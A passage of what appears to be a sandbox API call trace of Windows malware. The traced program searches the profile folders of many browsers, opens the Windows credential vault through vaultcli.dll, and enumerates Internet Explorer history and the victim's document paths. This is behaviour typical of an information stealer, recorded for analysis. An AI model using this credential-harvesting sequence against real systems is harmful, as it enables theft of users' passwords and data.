ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\7Star\\7Star\\User Data\\", lpDst=0x6a1d1c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\7Star\\7Star\\User Data\\") returned 0x43 [0071.667] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ᴜj䃭@\x05")) returned 0xffffffff [0071.667] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ᴜj䃭@\x05")) returned 0 [0071.667] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0071.667] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Elements Browser\\User Data\\", lpDst=0x6a1d1c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Elements Browser\\User Data\\") returned 0x48 [0071.667] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Elements Browser\\User Data\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ᴜj䃭@\x05")) returned 0xffffffff [0071.667] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ᴜj䃭@\x05")) returned 0 [0071.668] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0071.668] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\TorBro\\Profile\\", lpDst=0x6a1d1c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\TorBro\\Profile\\") returned 0x3c [0071.668] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\TorBro\\Profile\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ᴜj䃭@\x05")) returned 0xffffffff [0071.668] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ᴜj䃭@\x05")) returned 0 [0071.668] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0071.668] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Suhba\\User Data\\", lpDst=0x6a1d1c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Suhba\\User Data\\") returned 0x3d [0071.668] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Suhba\\User Data\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ᴜj䃭@\x05")) returned 0xffffffff [0071.668] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ᴜj䃭@\x05")) returned 0 [0071.668] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0071.668] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Safer Technologies\\Secure Browser\\User Data\\", lpDst=0x6a3d1c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Safer Technologies\\Secure Browser\\User Data\\") returned 0x59 [0071.668] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Safer Technologies\\Secure Browser\\User Data\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@㴜j䃭@\x05")) returned 0xffffffff [0071.668] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@㴜j䃭@\x05")) returned 0 [0071.668] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0071.668] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Rafotech\\Mustang\\User Data\\", lpDst=0x6a3f0c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Rafotech\\Mustang\\User Data\\") returned 0x48 [0071.668] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Rafotech\\Mustang\\User Data\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@㼌j䃭@\x05")) returned 0xffffffff [0071.668] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@㼌j䃭@\x05")) returned 0 [0071.668] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0071.669] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Superbird\\User Data\\", lpDst=0x6a3f0c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Superbird\\User Data\\") returned 0x41 [0071.669] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Superbird\\User Data\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@㼌j䃭@\x05")) returned 0xffffffff [0071.669] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@㼌j䃭@\x05")) returned 0 [0071.669] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0071.669] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Chedot\\User Data\\", lpDst=0x6a3f0c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Chedot\\User Data\\") returned 0x3e [0071.669] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Chedot\\User Data\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@㼌j䃭@\x05")) returned 0xffffffff [0071.669] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@㼌j䃭@\x05")) returned 0 [0071.669] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0071.669] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Torch\\User Data\\", lpDst=0x6a3f0c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Torch\\User Data\\") returned 0x3d [0071.669] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Torch\\User Data\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@㼌j䃭@\x05")) returned 0xffffffff [0071.669] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@㼌j䃭@\x05")) returned 0 [0071.669] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0071.669] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x755e0000 [0071.670] GetProcAddress (hModule=0x755e0000, lpProcName="CLSIDFromString") returned 0x755fe599 [0071.670] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3985460, cbMultiByte=38, lpWideCharStr=0x18d5a8, cchWideChar=2047 | out: lpWideCharStr="{4BF4C442-9B8A-41A0-B380-DD4A704DDB28}\x03") returned 38 [0071.670] CLSIDFromString (in: lpsz="{4BF4C442-9B8A-41A0-B380-DD4A704DDB28}", pclsid=0x18e618 | out: pclsid=0x18e618*(Data1=0x4bf4c442, Data2=0x9b8a, Data3=0x41a0, Data4=([0]=0xb3, [1]=0x80, [2]=0xdd, [3]=0x4a, [4]=0x70, [5]=0x4d, [6]=0xdb, [7]=0x28))) returned 0x0 [0071.670] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3985494, cbMultiByte=38, lpWideCharStr=0x18d5a8, cchWideChar=2047 | out: lpWideCharStr="{3CCD5499-87A8-4B10-A215-608888DD3B55}\x03") returned 38 [0071.670] CLSIDFromString (in: lpsz="{3CCD5499-87A8-4B10-A215-608888DD3B55}", pclsid=0x18e608 | out: pclsid=0x18e608*(Data1=0x3ccd5499, Data2=0x87a8, Data3=0x4b10, Data4=([0]=0xa2, [1]=0x15, [2]=0x60, [3]=0x88, [4]=0x88, [5]=0xdd, [6]=0x3b, [7]=0x55))) returned 0x0 [0071.670] LoadLibraryA (lpLibFileName="vaultcli.dll") returned 0x74b40000 [0071.823] GetProcAddress (hModule=0x74b40000, lpProcName="VaultOpenVault") returned 0x74b426a9 [0071.824] GetProcAddress (hModule=0x74b40000, lpProcName="VaultEnumerateItems") returned 0x74b43099 [0071.824] GetProcAddress (hModule=0x74b40000, lpProcName="VaultGetItem") returned 0x74b43242 [0071.824] VaultOpenVault () returned 0x0 [0072.641] VaultEnumerateItems () returned 0x0 [0072.642] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x18e5c8 | out: phkResult=0x18e5c8*=0x3bc) returned 0x0 [0072.642] RegQueryValueExW (in: hKey=0x3bc, lpValueName="Version", lpReserved=0x0, lpType=0x18e5d0, lpData=0x18e3c8, lpcbData=0x18e5cc*=0xfe | out: lpType=0x18e5d0*=0x1, lpData="8.0.7601.17514", lpcbData=0x18e5cc*=0x1e) returned 0x0 [0072.642] RegCloseKey (hKey=0x80000002) returned 0x0 [0072.642] OleInitialize (pvReserved=0x0) returned 0x0 [0072.658] CoCreateInstance (in: rclsid=0x41b0dc*(Data1=0x3c374a40, Data2=0xbae4, Data3=0x11cf, Data4=([0]=0xbf, [1]=0x7d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x69, [6]=0x46, [7]=0xee)), pUnkOuter=0x0, dwClsContext=0x5, riid=0x40a4cc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x18e5ac | out: ppv=0x18e5ac*=0x69e900) returned 0x0 [0074.558] IUnknown:QueryInterface (in: This=0x69e900, riid=0x40a63c*(Data1=0xafa0dc11, Data2=0xc313, Data3=0x11d0, Data4=([0]=0x83, [1]=0x1a, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd5, [6]=0xae, [7]=0x38)), ppvObject=0x18e588 | out: ppvObject=0x18e588*=0x69e900) returned 0x0 [0074.559] IUrlHistoryStg:EnumUrls (in: This=0x69e900, ppenum=0x18e5e0 | out: ppenum=0x18e5e0*=0x6a4198) returned 0x0 [0074.661] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/xLckuuDeKXG/wn06NIgti1n58uLcV.pptx", cchWideChar=82, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/xLckuuDeKXG/wn06NIgti1n58uLcV.pptx\x18", lpUsedDefaultChar=0x0) returned 82 [0074.661] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x452bf5c, cbMultiByte=82, lpWideCharStr=0x45276ec, cchWideChar=165 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/xLckuuDeKXG/wn06NIgti1n58uLcV.pptx¬") returned 82 [0074.662] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/FZM1YvnX6BDzLLQ_/vnscV1A42YE34G.ods", cchWideChar=90, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/FZM1YvnX6BDzLLQ_/vnscV1A42YE34G.odsments/yiub/FZM1YvnX6BDzLLQ_/vnscV1A42YE34G.ods", lpUsedDefaultChar=0x0) returned 90 [0074.662] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3985b28, cbMultiByte=90, lpWideCharStr=0x39827b4, cchWideChar=181 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/FZM1YvnX6BDzLLQ_/vnscV1A42YE34G.ods¼") returned 90 [0074.662] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/2toarBW5rlEiNoO5.xlsx", cchWideChar=71, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/2toarBW5rlEiNoO5.xlsx0jS%20HALPmcxz/Documents/2toarBW5rlEiNoO5.xlsx", lpUsedDefaultChar=0x0) returned 71 [0074.662] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3985ba8, cbMultiByte=71, lpWideCharStr=0x4527208, cchWideChar=143 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/2toarBW5rlEiNoO5.xlsx") returned 71 [0074.662] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/cLDO9CeqDqvyGp18uI9o.flv", cchWideChar=80, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/cLDO9CeqDqvyGp18uI9o.flvPmcxz/AppData/Roaming/cLDO9CeqDqvyGp18uI9o.flv", lpUsedDefaultChar=0x0) returned 80 [0074.662] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x452bf5c, cbMultiByte=80, lpWideCharStr=0x4527614, cchWideChar=161 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/cLDO9CeqDqvyGp18uI9o.flv¨") returned 80 [0074.663] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/BuZP.pptx", cchWideChar=59, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/BuZP.pptxers/5p5NrGJn0jS%20HALPmcxz/Documents/BuZP.pptx", lpUsedDefaultChar=0x0) returned 59 [0074.663] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3985c1c, cbMultiByte=59, lpWideCharStr=0x3985c5c, cchWideChar=119 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/BuZP.pptx") returned 59 [0074.663] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/kmiNoteKSNX.bmp", cchWideChar=63, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/kmiNoteKSNX.bmp5p5NrGJn0jS%20HALPmcxz/Desktop/kmiNoteKSNX.bmp", lpUsedDefaultChar=0x0) returned 63 [0074.663] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3985d04, cbMultiByte=63, lpWideCharStr=0x4526f50, cchWideChar=127 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/kmiNoteKSNX.bmp") returned 63 [0074.663] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/LQM_Dxfr3B.png", cchWideChar=70, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/LQM_Dxfr3B.pngn0jS%20HALPmcxz/AppData/Roaming/LQM_Dxfr3B.png", lpUsedDefaultChar=0x0) returned 70 [0074.663] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3985d78, cbMultiByte=70, lpWideCharStr=0x3985dc4, cchWideChar=141 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/LQM_Dxfr3B.png") returned 70 [0074.663] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/ZHL2s_-N8agn/vKwwSOkmDf1R/Cy1YKeDsElTUF.odt", cchWideChar=98, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/ZHL2s_-N8agn/vKwwSOkmDf1R/Cy1YKeDsElTUF.odtub/ZHL2s_-N8agn/vKwwSOkmDf1R/Cy1YKeDsElTUF.odt", lpUsedDefaultChar=0x0) returned 98 [0074.663] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4526d0c, cbMultiByte=98, lpWideCharStr=0x3982b7c, cchWideChar=197 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/ZHL2s_-N8agn/vKwwSOkmDf1R/Cy1YKeDsElTUF.odtÌ") returned 98 [0074.663] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/18tCh2fbWO9uqJ4SH0r/e90mXCi.pdf", cchWideChar=86, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/18tCh2fbWO9uqJ4SH0r/e90mXCi.pdfDocuments/yiub/18tCh2fbWO9uqJ4SH0r/e90mXCi.pdf", lpUsedDefaultChar=0x0) returned 86 [0074.663] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3985e90, cbMultiByte=86, lpWideCharStr=0x39825e8, cchWideChar=173 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/yiub/18tCh2fbWO9uqJ4SH0r/e90mXCi.pdf´") returned 86 [0074.663] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/_KfZrP9-SmMk.png", cchWideChar=72, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/_KfZrP9-SmMk.pngjS%20HALPmcxz/AppData/Roaming/_KfZrP9-SmMk.png", lpUsedDefaultChar=0x0) returned 72 [0074.663] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3985f28, cbMultiByte=72, lpWideCharStr=0x45272d4, cchWideChar=145 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/_KfZrP9-SmMk.png\x98") returned 72 [0074.664] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/9oBPh66lU7Zt.pptx", cchWideChar=67, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, 